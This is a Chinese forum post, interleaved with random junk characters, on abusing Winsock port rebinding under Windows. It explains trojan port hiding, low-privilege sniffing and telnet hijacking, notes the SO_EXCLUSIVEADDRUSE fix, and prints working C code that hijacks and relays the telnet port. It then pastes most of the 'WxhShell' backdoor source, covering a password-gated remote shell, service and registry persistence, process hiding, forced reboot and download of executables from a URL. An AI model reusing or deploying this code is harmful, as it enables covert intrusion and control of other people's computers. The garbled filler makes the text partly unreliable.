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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: /c@*eU  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); bEBBwv  
yQZ/ ,KX  
  saddr.sin_family = AF_INET; ^m_^  
6~ 7 ; o_>  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); {^cF(7p  
vx!::V7s6  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); eA?uny f2r  
-R&E,X7N  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 wb6L? t  
7G.o@p6$  
  这意味着什么?意味着可以进行如下的攻击: 0+}EA[  
KQ4kZN  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Pr5g6I'G   
*p&^!ct  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) m_m8c8{Y  
:}@C9pqr2  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 2.LJp}>  
#zS1Z f^KP  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Vvm=MBgN  
QqiJun_m  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 VYamskK[G:  
7m:|u*ij2~  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 o_Jn_3=  
[DZqCo  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 b0@>xT  
b4Z`y8=  
  #include  R"U/RS  
  #include F qeV3 N  
  #include Zc'|!pT _  
  #include    v2hZq-q  
  DWORD WINAPI ClientThread(LPVOID lpParam);   *jM_wwG  
  int main() YDQ:eebg(  
  { gA~20LSt  
  WORD wVersionRequested; iHAU|`'N)  
  DWORD ret; J~Cc9"(  
  WSADATA wsaData; E/mubA(&  
  BOOL val; ?YF${  
  SOCKADDR_IN saddr; $#%U\mI z  
  SOCKADDR_IN scaddr;  hv+|s(  
  int err; 4q>7OB:e  
  SOCKET s; (O\U /daB  
  SOCKET sc; \  Md 3  
  int caddsize; d_Q*$Iz)3  
  HANDLE mt; No`|m0 :j  
  DWORD tid;   0QMTIAW6h  
  wVersionRequested = MAKEWORD( 2, 2 ); d<Ggw#}:m  
  err = WSAStartup( wVersionRequested, &wsaData ); t})lr\  
  if ( err != 0 ) { EL^8zyg%%  
  printf("error!WSAStartup failed!\n"); Q6"uK  
  return -1; <9P4}`%)3  
  } nX0HT )}  
  saddr.sin_family = AF_INET; *GQDfs`m  
   *YWk1Cwjo  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Ntb:en!X  
lnS(&`oh\=  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); t\h$&[[l'z  
  saddr.sin_port = htons(23); p SHSgd ~&  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #j;Tb2&w  
  { _7U]&Nh99  
  printf("error!socket failed!\n"); X1+ wX`f  
  return -1; 'Qa5n\HX$  
  } eD%H XGe  
  val = TRUE; 96d~~2p  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 -fE.<)m=!  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) /~De2mq1   
  { bEm7QgV{X  
  printf("error!setsockopt failed!\n"); *?/tO, R?  
  return -1; BZK2$0  
  } C5xag#Z1  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; |EKu2We*  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 RK[D_SmS  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 F^QQ0h]2  
{~SaRB2<'  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) E<>*(x/\e  
  { A{# Nwd>  
  ret=GetLastError(); "(v%1tGk  
  printf("error!bind failed!\n"); iPq &Y*  
  return -1; hoa7   
  } zN#*G i'  
  listen(s,2);  UXT p  
  while(1) *U;'OWE[  
  { 9'?se5\  
  caddsize = sizeof(scaddr); aSC9&Nf;  
  //接受连接请求 )p<WDiX1!e  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); y<pnp?x4  
  if(sc!=INVALID_SOCKET) c.A Yx I"  
  { ~vHk&r]|  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); F.tfgW(A@  
  if(mt==NULL) ]1D%zKY%$Z  
  { xg<Hxn,<M  
  printf("Thread Creat Failed!\n"); k|xtrW`qo;  
  break; 5G(3vRX|1  
  } +k.%PO0np  
  } (a@?s$LG  
  CloseHandle(mt); W+Xz$j/u  
  } Z\~G U*Y.e  
  closesocket(s); -&|: 0#@P  
  WSACleanup(); {`(>O"_[Q  
  return 0; {o0qUX>[  
  }   ^Dg <Ki  
  DWORD WINAPI ClientThread(LPVOID lpParam) sV/l5]b]  
  { %@Oma  
  SOCKET ss = (SOCKET)lpParam; & $'z  
  SOCKET sc; \8S ~c8Z~  
  unsigned char buf[4096]; uI~s8{0T6  
  SOCKADDR_IN saddr; )[L^Dmd,  
  long num; ).5RPAP  
  DWORD val; Df4+^B,1  
  DWORD ret; :`\) P,  
  //如果是隐藏端口应用的话,可以在此处加一些判断 J NVr  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   lhH`dG D  
  saddr.sin_family = AF_INET; !z 53OT!  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); k|vI<:'p,  
  saddr.sin_port = htons(23); iDoDwq!l_  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !ErH~<f%K  
  { 6KHN&P  
  printf("error!socket failed!\n"); R\mR$\cS  
  return -1; 4jNG^@O  
  } =PkO!Mm8  
  val = 100; POAw M  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ht=P\E  
  {  R'}95S<  
  ret = GetLastError(); g13 rx%-  
  return -1; mO*^1  
  } ehNzDr\s  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) WOLuw%  
  { JIm4vS  
  ret = GetLastError(); :s={[KBP  
  return -1; 9Fo fr  
  } g7\,{Bw#E  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ?S Z1`.S  
  { q%(EYM5Y  
  printf("error!socket connect failed!\n"); Pq9|WV#F5/  
  closesocket(sc); yWDTjY/  
  closesocket(ss); 7ZxaPkIu&%  
  return -1; urBc=3Rz  
  } r H8@69,B  
  while(1) '3 33Ctxy  
  { 1x)ZB~L  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 %" D%:   
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ^n1%OzGK#  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 A#8q2n270*  
  num = recv(ss,buf,4096,0); KLoE&ds  
  if(num>0) <TGn=>u  
  send(sc,buf,num,0); .Jx9bIw  
  else if(num==0) h RC  
  break; 1Xu?(2;NF  
  num = recv(sc,buf,4096,0); XV3C`:b  
  if(num>0) V7d) S&*V  
  send(ss,buf,num,0); E/M_lvQ  
  else if(num==0) o*WY=  
  break; dCyqvg6u  
  } (8$k4`T>  
  closesocket(ss); Byl^?5  
  closesocket(sc); ?BA]7M(,4  
  return 0 ; 6W[}$#w  
  } $+JS&k/'m  
U>Ld~cw  
Wj|alH9<  
========================================================== gr-9l0u  
FBx_c;)9Z  
下边附上一个代码,,WXhSHELL o?L'Pg  
YB<*"HxM)}  
========================================================== ;Uc0o!1  
?eH&'m}-  
#include "stdafx.h" "@R>J ?Cc+  
)J]9 lW&y  
#include <stdio.h> 2H71~~ c  
#include <string.h> KmG  
#include <windows.h> T>TWU:  
#include <winsock2.h> ca i <,3H  
#include <winsvc.h> z>sbr<doa  
#include <urlmon.h> %^sTU4D5  
1"Z@Q`}  
#pragma comment (lib, "Ws2_32.lib") 4iA Z+l5&  
#pragma comment (lib, "urlmon.lib") 'c2W}$q  
De7T s  
#define MAX_USER   100 // 最大客户端连接数 =4V&*go*\  
#define BUF_SOCK   200 // sock buffer ZkL8e  
#define KEY_BUFF   255 // 输入 buffer dQoYCS}IaV  
O[tvR:Nh  
#define REBOOT     0   // 重启 f-DL:@crU  
#define SHUTDOWN   1   // 关机 Jk@]tAwoM  
3LDS Z1f  
#define DEF_PORT   5000 // 监听端口 --;@2:lg{  
&'cL%.  
#define REG_LEN     16   // 注册表键长度 fjvN$NgVs  
#define SVC_LEN     80   // NT服务名长度 \(226^|j  
8fA_p}wp  
// 从dll定义API mxor1P#|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); x{D yTtX<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); QaUm1 i#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ? WJ> p  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^` un'5Vk  
w=b)({`M  
// wxhshell配置信息 >U F  
struct WSCFG { f#+el y  
  int ws_port;         // 监听端口 3bO(?l`3h  
  char ws_passstr[REG_LEN]; // 口令 720P jQ  
  int ws_autoins;       // 安装标记, 1=yes 0=no DZzN>9<)^  
  char ws_regname[REG_LEN]; // 注册表键名 l/;X?g5+  
  char ws_svcname[REG_LEN]; // 服务名 :0Z^uuk`gq  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?X@fKAj  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (c0A.L)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;iDPn2?6?x  
int ws_downexe;       // 下载执行标记, 1=yes 0=no N0hE4t  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" dJ$"l|$$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 fXrXV~'8  
93t9^9  
}; ^u 3V E  
f0Bto/,>~  
// default Wxhshell configuration LU!dN"[k  
struct WSCFG wscfg={DEF_PORT, 74!oe u.>  
    "xuhuanlingzhe", :W b j\  
    1, Aw&tP[N[  
    "Wxhshell", [+O"<Ua  
    "Wxhshell", .<kqJ|SVi  
            "WxhShell Service", C9p"?vX  
    "Wrsky Windows CmdShell Service", v<Bynd-  
    "Please Input Your Password: ", y% :4b@<  
  1, 2]%h$f+  
  "http://www.wrsky.com/wxhshell.exe", E=){K  
  "Wxhshell.exe" UH3sH t  
    }; >2#8B  
mPq$?gdp  
// 消息定义模块 1lv2@QH9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; v\(2&*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; d)~Fmi;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; qI^ /"k*5  
char *msg_ws_ext="\n\rExit."; n3J53| %v  
char *msg_ws_end="\n\rQuit."; C6rg<tCH  
char *msg_ws_boot="\n\rReboot..."; NcY608C  
char *msg_ws_poff="\n\rShutdown..."; B"%{i-v>**  
char *msg_ws_down="\n\rSave to "; @?h/B=5 6  
6uKTGc4  
char *msg_ws_err="\n\rErr!"; Jx'i2&hGN  
char *msg_ws_ok="\n\rOK!"; 0uBl>A7qhn  
wEzKqD  
char ExeFile[MAX_PATH]; i<pk6rO1  
int nUser = 0; mKYeD%Pm*  
HANDLE handles[MAX_USER]; 3sd"nR?aX  
int OsIsNt; |_u aS  
\U@rg4  
SERVICE_STATUS       serviceStatus; ?-1r$31p  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; m&|`x  
LM2TZ   
// 函数声明 IIq1\khh  
int Install(void); ;sHN/eF  
int Uninstall(void); >>[ G1   
int DownloadFile(char *sURL, SOCKET wsh); qKJSj   
int Boot(int flag); Y!;|ld  
void HideProc(void); }NsUnbxT  
int GetOsVer(void); =J1rlnaaEL  
int Wxhshell(SOCKET wsl); #-h\.#s  
void TalkWithClient(void *cs); CKA;.sh  
int CmdShell(SOCKET sock); Rp$}YN  
int StartFromService(void); fxgr`nC  
int StartWxhshell(LPSTR lpCmdLine); mFHH515  
4DTzSy:x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); PTj&3`v  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); o/ui)U_   
86z]<p (  
// 数据结构和表定义  ,m,)I  
SERVICE_TABLE_ENTRY DispatchTable[] = < })'Y~i  
{ *cyeO*  
{wscfg.ws_svcname, NTServiceMain}, `9 {mr<  
{NULL, NULL} [e1S^pI  
}; u[{tb  
LdB($4,  
// 自我安装 3"rzb]=R  
int Install(void) x\QY@9  
{ wY"Q o7  
  char svExeFile[MAX_PATH]; 7.j[a*^  
  HKEY key; ^FnfJ:  
  strcpy(svExeFile,ExeFile); '?({;/L  
%$TGzK1  
// 如果是win9x系统,修改注册表设为自启动 p019)X|vx  
if(!OsIsNt) { 1Z,[|wJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^Idle*+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NH0qVQ@A  
  RegCloseKey(key); , lJ  v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JsotOic%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /EG~sRvl}  
  RegCloseKey(key); }MlwC;ot  
  return 0; HI@syFaJM  
    } DLCkM*'  
  } 5Vi> %5A>l  
} B<-kzt  
else { Uo-`>7  
\%p34K\  
// 如果是NT以上系统,安装为系统服务 yS=oUE$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6)BR+U  
if (schSCManager!=0) u a\,->  
{ "]-Xmdk09  
  SC_HANDLE schService = CreateService u<n Lag  
  ( 5/O'R9A4  
  schSCManager, ++DG5`  
  wscfg.ws_svcname, \cCV6A[  
  wscfg.ws_svcdisp, =w$}m_AM  
  SERVICE_ALL_ACCESS, 1 `KN]Nt  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , w;l<[q?_  
  SERVICE_AUTO_START, Q3"} Hl2  
  SERVICE_ERROR_NORMAL, CA +uKM^"6  
  svExeFile, %8~3M75$  
  NULL, $U/YR&vcw  
  NULL, {8I.`U  
  NULL, }cN@[3v  
  NULL, pT$f8xJ  
  NULL r 6Q Q  
  ); Zc?ppO  
  if (schService!=0) :f$xQr4Qz  
  { uB7 V?A  
  CloseServiceHandle(schService); E#F/88(  
  CloseServiceHandle(schSCManager); *@TZ+{t  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); kkK kf'  
  strcat(svExeFile,wscfg.ws_svcname); t>H`X~SR?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { K).n.:vYZ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); mRZ :ie  
  RegCloseKey(key); ]f1{n  
  return 0; YX*Qd$chZ  
    } hxS 6:5Uc  
  } R-P-i0 ~  
  CloseServiceHandle(schSCManager); K+6e?5t  
} y7^{yS[,  
}  kQ   
Ldn8  
return 1; 'fL"txW  
} 5MSB dO  
ce6__f 5?  
// 自我卸载 FW.$5*f='  
int Uninstall(void) EJ`T$JD  
{ x=#VX\5k:  
  HKEY key; D?Ux[Ozb  
K'h1szW  
if(!OsIsNt) { Xj*vh m%i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U!m @DJj  
  RegDeleteValue(key,wscfg.ws_regname); P/`I.p;  
  RegCloseKey(key); 4GB7A]^E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5?Wto4j  
  RegDeleteValue(key,wscfg.ws_regname); gI8Bx]  
  RegCloseKey(key); TYA~#3G)  
  return 0; lKgKtQpi  
  } ~l2aNVv;  
} LF0sH)e]  
} WlYs~(= 9  
else { CwJDmz\tk  
Ks\ NE=;5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); R-:fd!3oQ  
if (schSCManager!=0) lb:/EUd5  
{ ] 7 _`]7p  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M,5"b+mX[~  
  if (schService!=0) sZLT<6_B  
  { v)_nWu  
  if(DeleteService(schService)!=0) { i{I~mrm/'\  
  CloseServiceHandle(schService); " ZX3sfkh  
  CloseServiceHandle(schSCManager); Sc7U |s  
  return 0; _Ob@`  
  } `|Or{ih  
  CloseServiceHandle(schService); !!o8N<NU  
  } 1 n%?l[o  
  CloseServiceHandle(schSCManager); |] Qg7m,O  
} _uJ"m8Tl  
} a[2vjFf#C  
+S))3 5N[  
return 1; 4R5D88= C  
} >s`J5I!  
eX_D/25 $  
// 从指定url下载文件 P+)DsZ0ig  
int DownloadFile(char *sURL, SOCKET wsh) s#uJ ;G  
{ "l >Igm  
  HRESULT hr; 4Bl{WyMJ|  
char seps[]= "/"; 1bw{q.cmD  
char *token; yAN=2fZm  
char *file; G"T',~  
char myURL[MAX_PATH]; Z;h<6[(  
char myFILE[MAX_PATH]; M?/jkc.8H  
FEo269Ur  
strcpy(myURL,sURL); sN("+ sZ.n  
  token=strtok(myURL,seps); B(F,h+ajy  
  while(token!=NULL) .I@CS>j  
  { H}LS??P  
    file=token; \a+(=s(;  
  token=strtok(NULL,seps); +D1d=4  
  } 7n90f2"m  
fo4.JyBk  
GetCurrentDirectory(MAX_PATH,myFILE); 4 QZ?}iz  
strcat(myFILE, "\\"); 1jX3ey~  
strcat(myFILE, file); cJgBI(S5  
  send(wsh,myFILE,strlen(myFILE),0); 5E0eyW  
send(wsh,"...",3,0); Cg616hyut  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3 v")J*t  
  if(hr==S_OK) }$\M{# C~  
return 0; "z<azs  
else Od?qz1  
return 1; -LM;}<  
hva2o`  
} <A9y9|>o  
^;c16  
// 系统电源模块 vzn{h)D  
int Boot(int flag) ,/O[=9l36R  
{ v2,%K`pAU  
  HANDLE hToken; QKE9R-K TE  
  TOKEN_PRIVILEGES tkp; +-B^Z On  
6:% L![FX  
  if(OsIsNt) { JH7Ad (:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ez{MU@Fk  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <[GYLN[0Q  
    tkp.PrivilegeCount = 1; L>Mpi$L  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; C%~a`e|/Y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); wZh:F !  
if(flag==REBOOT) { Bb{!Yh].:A  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >*$;  
  return 0; GjB]KA^  
} ?m c%.Bt  
else { }CxvT`/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) mQ}ny(K'  
  return 0; tb?YLxMV  
} tDDy]==E  
  } G4 G5PXi  
  else { -{ u*qtp  
if(flag==REBOOT) { N S#TW  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !Oi~:Pp  
  return 0; +PK6-c\r  
} Rte+(- iL  
else { {J5JYdK  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _p?s9&  
  return 0; FecktD=  
} 5( _6+'0  
} umLb+GbI4  
u>pBB@  
return 1; xug)aE  
} iRi{$.pVJ  
h3gWOU  
// win9x进程隐藏模块 IHC1G1KW=A  
void HideProc(void) :D7|%KK  
{ g+PPW88P;  
TEsnNi 1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); D7"p}PD>~  
  if ( hKernel != NULL ) [i]r-|_K  
  { \C 5%\4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); dd|W@Xp -  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Iak0 [6Ey  
    FreeLibrary(hKernel); x7T +>  
  } 6Fy@s  
s/Xb^XjS1  
return; [Vdz^_@Y  
} wve=.n  
m+ itno  
// 获取操作系统版本 X bkb5EkA  
int GetOsVer(void) j8 C8X$  
{ _#o' +_Z  
  OSVERSIONINFO winfo; }1-I[q6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); z<]bv7V  
  GetVersionEx(&winfo); s=Q(C[%I  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) U/;]zdP.K  
  return 1; r.0oxH']  
  else A"Q@W<.  
  return 0; *^ \FIUd  
} 2i|B=D(  
2q} ..  
// 客户端句柄模块 =8=!Yc(>  
int Wxhshell(SOCKET wsl) hY<{t.ws  
{ 2=ztKfsBhE  
  SOCKET wsh;  8RwX=  
  struct sockaddr_in client; +\#Fd  
  DWORD myID; BKU'`5`  
~YCuO0t  
  while(nUser<MAX_USER) >6Lm9&}  
{ Fl>]&x*~  
  int nSize=sizeof(client); 6aOp[-Le  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); z1,tJH0  
  if(wsh==INVALID_SOCKET) return 1; (bn Zy0  
+ E"[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \.e4.[%[2-  
if(handles[nUser]==0) }jF+`!*!  
  closesocket(wsh); 6ri\>QrF  
else *@ED}Mj+  
  nUser++; 0"[`>K~7a8  
  } )y7_qxwbV  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); em2_pq9q  
M,:Bl}  
  return 0; 5|$a =UIR  
} wb"RB A9  
LZ*R[  
// 关闭 socket ZEbLL4n  
void CloseIt(SOCKET wsh) =FW5Tkw0  
{ AW5iV3  
closesocket(wsh); 2Ohp]G  
nUser--; ?TEK=mD#u  
ExitThread(0); -T/W:-M(  
} AH{^spD{7,  
G%TL/Z40  
// 客户端请求句柄 Ua*&_~7kJ  
void TalkWithClient(void *cs) !D.0 (J  
{ j nwQV  
E@ h y7X  
  SOCKET wsh=(SOCKET)cs; l54|Q  
  char pwd[SVC_LEN]; hv)7H)|l~]  
  char cmd[KEY_BUFF]; Sav`%0q?7a  
char chr[1]; POU}/e!Ua  
int i,j; e&X>F"z2  
lj&>cScC  
  while (nUser < MAX_USER) { Zzd/K^gg  
8V4V3^_xs  
if(wscfg.ws_passstr) { /c+)C"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nb dGt  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EH`0  
  //ZeroMemory(pwd,KEY_BUFF); %hT4qzJj  
      i=0; aW5~Be$ _  
  while(i<SVC_LEN) { 7el<5chZ  
X`20f1c6q>  
  // 设置超时 L~FTr  
  fd_set FdRead; ACBQ3   
  struct timeval TimeOut; 1"K*._K  
  FD_ZERO(&FdRead); r>qA $zD^  
  FD_SET(wsh,&FdRead); _LfHs1g4  
  TimeOut.tv_sec=8; Jme%  
  TimeOut.tv_usec=0; [^PCm Z6n  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); JE%A|R<Jl  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?p8k{N(1  
r!/0 j)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .?#uxd~>  
  pwd=chr[0]; dU;upS_-  
  if(chr[0]==0xd || chr[0]==0xa) { -4L!k'uR  
  pwd=0; w4MwD?i]R  
  break; @eQld\h'  
  } VTh$a_P>  
  i++; 5A_4\YpDR  
    } `n-vjjG%#  
I 8Y*@$h  
  // 如果是非法用户,关闭 socket -Fwh3F 4g  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ? J|4l[x  
} 'm1.X-$V  
/! ^P)yU,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~mILA->F  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _C+DBA  
MguL$W&l  
while(1) { aMCO"66b  
j|'R$|  
  ZeroMemory(cmd,KEY_BUFF); {},;-%xE  
<]#o*_aFP  
      // 自动支持客户端 telnet标准   - 0~IY  
  j=0; r*cjOrvI  
  while(j<KEY_BUFF) { WL~`u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0U&d q#  
  cmd[j]=chr[0]; B3L4F"  
  if(chr[0]==0xa || chr[0]==0xd) { XNmQ?`.2'  
  cmd[j]=0; jE U'.RBN%  
  break; \5[-Ml  
  } Kd{#r/HZ  
  j++; g{DFS[h  
    } 5t'Fv<g  
J@bW^>g*6u  
  // 下载文件 Lb q_~   
  if(strstr(cmd,"http://")) { >C2HC6O3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +J40wFI:y  
  if(DownloadFile(cmd,wsh)) _.f@Y`4d  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); FP;": iRL  
  else F_PTMl=Q|J  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @P70W<<  
  } OJ[rj`wrW^  
  else { A +!sD5d  
Gc5VQ^]  
    switch(cmd[0]) { <3#<I)#  
  /VtlG+dLl  
  // 帮助 a @SUi~+3  
  case '?': { 2NR7V*A  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =K6c;  
    break; ta! V=U  
  } <P pYl  
  // 安装 U(3(ZqP  
  case 'i': { 9A*rE.B+W  
    if(Install()) ?cBO6^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QeK{MF  
    else T 'i~_R6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2 zl~>3S  
    break; 1#!@["  
    } &l!$Sw-u;  
  // 卸载 "z/V%ZK~f  
  case 'r': { ;vUxO<cKFq  
    if(Uninstall()) {h^c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <[8@5?&&  
    else " ~n3iNkP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :C}Hy  
    break; xvO 3BU~2  
    } rys<-i(  
  // 显示 wxhshell 所在路径 /d]~ly @uI  
  case 'p': { ,9UCb$mh  
    char svExeFile[MAX_PATH]; GXEcpc08  
    strcpy(svExeFile,"\n\r"); 4@))OD^x  
      strcat(svExeFile,ExeFile); a8NVLD>7}  
        send(wsh,svExeFile,strlen(svExeFile),0); ^+a  
    break; (. H ]|  
    } {|p"; uJ  
  // 重启 B$DZ]/<  
  case 'b': { ^hysCc  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7AeP Gr  
    if(Boot(REBOOT)) 4[_L=zD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cI3KB-lM#  
    else { GMT or  
    closesocket(wsh); AI R{s7N  
    ExitThread(0); _y-B";Vmm  
    } uA^hCh-js  
    break; wEK%T P4  
    } -XLo0  
  // 关机 `+fk`5Y  
  case 'd': { p Dm K  
